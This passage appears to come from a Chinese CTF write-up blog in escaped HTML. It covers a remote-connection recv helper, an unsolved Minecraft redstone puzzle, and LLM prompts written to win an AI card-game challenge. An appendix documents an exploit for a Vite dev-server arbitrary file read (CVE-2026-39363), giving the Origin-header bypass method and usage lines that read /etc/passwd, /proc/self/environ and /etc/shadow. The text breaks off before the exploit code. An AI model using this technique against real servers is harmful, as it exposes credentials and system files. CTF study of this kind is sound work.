&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;def&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;recv_all&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;timeout&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;):&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;data &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;b&lt;/span&gt;&lt;span&gt;&apos;&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;while&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;chunk &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; p.&lt;/span&gt;&lt;span&gt;recv&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;timeout&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;timeout)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;except&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;EOFError&lt;/span&gt;&lt;span&gt;:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;break&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; chunk:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;break&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;data &lt;/span&gt;&lt;span&gt;+=&lt;/span&gt;&lt;span&gt; chunk&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;sys.stdout.&lt;/span&gt;&lt;span&gt;write&lt;/span&gt;&lt;span&gt;(chunk.&lt;/span&gt;&lt;span&gt;decode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;errors&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&apos;replace&apos;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;sys.stdout.&lt;/span&gt;&lt;span&gt;flush&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; data&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;p &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;HOST&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;PORT&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;/span&gt;&lt;span&gt;ssl&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;True&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;sni&lt;/span&gt;&lt;span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;HOST&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
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BGM 在对数幅度域近似为每带的常量偏移，逐带减均值除标准差正好把它消掉，让匹配依赖语音的频谱形状而非共享的 BGM。—— deepseek&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;!_MisC_!（未做出）&lt;a href=&quot;#_misc_未做出&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;先尝试用 &lt;code&gt;zsteg&lt;/code&gt; 扫了一遍 &lt;code&gt;icon.png&lt;/code&gt; ，没发现任何问题，然后又用 &lt;code&gt;grep&lt;/code&gt; 命令扫了一遍目录未发现 flag 标志。&lt;/p&gt;&lt;p&gt;通过查看 &lt;code&gt;level.dat&lt;/code&gt; 发现地图版本为 &lt;code&gt;26.3&lt;/code&gt;（后来发现怎么题面有写版本，建议把版本列为 misc 一环（）），用对应版本我的世界进入后发现是个巨大的红石电路构成的一个解谜，转了一圈发现看不懂红石电路（寄）&lt;/p&gt;&lt;p&gt;PIP 下载 &lt;code&gt;Amulet-Core&lt;/code&gt; 后将存档交给 dsh 去分析，但是这方法明显不对，消耗大量 tokens 后无果，暂时放弃。&lt;/p&gt;&lt;p&gt;后面搜索各种方案找到一种常见的不用 dsh 自己按字节从零去分析 NBT 的方法：&lt;strong&gt;WorldEdit 导出选取 + Nucleation 模拟&lt;/strong&gt; 。然后就是漫长的 AI 试错 + 分析了。然而仍然未做出来。&lt;/p&gt;&lt;p&gt;hint1 的意思大概是调随机刻？hint2 指明了按钮十六进制是 flag 编码后结果。&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;AI&lt;a href=&quot;#ai&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Liar’s Bar&lt;a href=&quot;#liars-bar&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;红温指数估计是 &lt;code&gt;temperature&lt;/code&gt; 吧设为 &lt;code&gt;0.1&lt;/code&gt; ，提示词如下（由 ds 生成）：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;硬性规则：&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1. 自己左轮空枪 0-1：可谨慎质疑，可出 1 张假。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2. 自己空枪 2：不主动质疑，除非对方出 3 张且历史可疑；不出假。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;3. 自己空枪 3 及以上：绝不主动质疑，除非强制；只出真牌或 JOKER；有恶魔牌单独出。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;4. 自己空枪 4 及以上：强制质疑也认命；出牌只用真牌/JOKER/恶魔，绝不主动出假。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;出牌优先级：&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;真桌牌 &amp;gt; JOKER &amp;gt; 恶魔牌 &amp;gt; 假牌。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;一次最多出 2 张，优先 1 张。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;有真牌出真牌。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;无真牌有 JOKER 出 JOKER。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;无真无 JOKER，出恶魔牌，单独出。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;以上都没有，才出 1 张假牌。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;永远不出 2 张以上假牌。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;恶魔牌：&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;每轮拿到后，尽早单独出，声称是桌牌。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;最好在对手空枪≥2 或对手质疑倾向强时出。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;被质疑则自己免枪，其他所有人扣扳机。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;JOKER：&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;永远合法，留到关键局，尤其是自己可能成为最后有牌者时。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;最后有牌时，尽量出 JOKER 或真牌，让强制质疑者扣扳机。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;质疑：&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;质疑前默算自己死亡概率 = 1/(6-自己空枪数)。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;如果死亡概率 &amp;gt; 20%，不主动质疑。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;对方出 1 张：基本不质疑，除非自己空枪 0 且对方是惯骗。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;对方出 2 张：自己空枪≤1 且对方历史可疑，才质疑。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;对方出 3 张：自己空枪≤2 且对方非诚实形象，才质疑。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;对方单张且像诱质疑：不质疑，防恶魔牌。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;强制质疑：&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;只剩一人有牌或全场无手牌时，必须质疑。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;提前避免自己成为最后有牌者。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;如果自己最后有牌，确保出真牌/JOKER/恶魔。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;对手建模：&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;常质疑者：少出假，多出真，诱其质疑失败；恶魔牌收益高。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;少质疑者：可多出假，但恶魔牌诱饵效果差。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;常撒谎者：多质疑，但防恶魔牌。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;风险厌恶者：用假牌施压。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;风险偏好者：少出假，等他质疑失败。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;38&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;决策顺序：&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;39&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;先看自己空枪数，再看对手空枪数，再看对方出牌数量与历史，最后决定。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;展开&lt;/span&gt;&lt;span&gt;收起&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;最终单次 21 轮过关，扳机 2 / 6 。自己又写了一版：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;对对手进行建模：你的对手大概有两种人，一种质疑较多，一种质疑较少，质疑较多的请你诱导其质疑失败，尤其是恶魔牌时，质疑较少的只在你有充足把握且当前空枪&amp;lt;=3时发出质疑。当对手一次性出三张牌的时候质疑成功的概率极高，但是要保证自己有足够的空枪数来操作。一次性出两张牌时质疑成功的概率也较高，但是这时候要小心了，注意对手可能出过小丑牌，有则质疑成功的概率下降至极低。对手出一张牌的时候仅在对手已经出的合法牌（包括小丑牌等）足够多时才能够质疑。一次最多出2张，优先1张。确保自己最后一张牌为真牌。在场上质疑较多的人基本都倒下后，可以尝试多在前期使用假牌，否则假牌不优先。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;前期不要主动质疑，除非百分百确定，等待其他人内耗而亡。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;当只剩下你和另一个人的时候质疑一定要有百分之九十把握的时候才发出，因为对面大概率是不质疑之人，就等你犯错。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;红温指数设置为 &lt;code&gt;0.2&lt;/code&gt; 。最终单次 12 轮过关，扳机 2 / 6 。&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;不过这题也还是有运气成分的，否则如果只有一两枪容错其实也挺难的。&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;附录&lt;a href=&quot;#附录&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;BandInvite CVE-2026-39363 利用脚本&lt;a href=&quot;#bandinvite-cve-2026-39363-利用脚本&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# -*- coding: utf-8 -*-&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;CVE-2026-39363 — Vite dev server 任意文件读取（HMR WebSocket 未授权）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Affected : vite &amp;gt;=6.0.0 &amp;lt;=6.4.1 | &amp;gt;=7.0.0 &amp;lt;=7.3.1 | &amp;gt;=8.0.0 &amp;lt;=8.0.4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Fixed    : 6.4.2 / 7.3.2 / 8.0.5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Advisory : GHSA-p9ff-h696-f583&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;原理&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;dev server 暴露到网络（server.host / --host）且未关闭 HMR WebSocket 时，&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;WS 握手只要【不带 Origin 头】即可绕过 token 校验（CWE-306）。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;随后向 HMR WebSocket 发送自定义事件 `vite:invoke` 调用服务端 `fetchModule`，&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;传入 `file://&amp;lt;绝对路径&amp;gt;?raw`，即可读取任意文件——&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;该执行路径【完全绕过 HTTP 层的 server.fs.allow 限制】（CWE-200）。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;本脚本相对常见 PoC 的关键修正&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;------------------------------&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;1) TLS 必须发送 SNI：`ctx.wrap_socket(sock, server_hostname=host)`。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;很多 PoC 写成 `ctx.wrap_socket(sock)`，在按 SNI 分流的反向代理后面&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;   &lt;/span&gt;&lt;/span&gt;&lt;span&gt;会拿到 `404 page not found`（看起来像目标不存在，实际只是没发 SNI）。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;2) 校验 Sec-WebSocket-Accept。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;3) file:// URL 正确处理 POSIX / Windows / UNC 三种路径。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;4) 帧收发按 RFC6455（客户端帧强制掩码、支持 126/127 变长、ping→pong）。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;用法&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;----&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;python cve_2026_39363_read.py https://HOST:PORT /etc/passwd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;python cve_2026_39363_read.py https://HOST:PORT /etc/passwd /proc/self/environ -o out/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;python cve_2026_39363_read.py https://HOST:PORT --host-header localhost:5173 /etc/shadow&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;免责声明：仅用于已获授权的安全测试。&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
